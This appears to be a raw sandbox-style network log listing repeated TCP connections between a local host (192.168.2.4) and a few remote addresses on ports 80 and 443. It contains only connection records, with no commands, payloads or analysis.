Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49766
Source: global traffic	TCP traffic: 192.168.2.4:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49767
Source: global traffic	TCP traffic: 192.168.2.4:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49766
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49766
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49766
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49766
Source: global traffic	TCP traffic: 192.168.2.4:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49766
Source: global traffic	TCP traffic: 192.168.2.4:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49766
Source: global traffic	TCP traffic: 192.168.2.4:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49768 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49767
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49767
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49767
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49767
Source: global traffic	TCP traffic: 192.168.2.4:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49769 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49766
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49768
Source: global traffic	TCP traffic: 192.168.2.4:49768 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49768 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49767
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49769
Source: global traffic	TCP traffic: 192.168.2.4:49769 -> 187.45.240.69:80

Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49760 -> 104.18.10.207:80
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49764 -> 142.250.181.238:80
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49768 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49769 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49768 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49771 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49772 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49773 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49774 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49775 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49776 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49777 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49778 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49779 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49780 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49778 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49781 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49782 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49782 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49782 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49781 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49782 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49785 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49784 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49785 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49785 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49785 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49784 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49784 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49784 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49785 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49784 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49785 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49784 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49795 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49796 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49796 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49796 -> 187.45.240.69:80
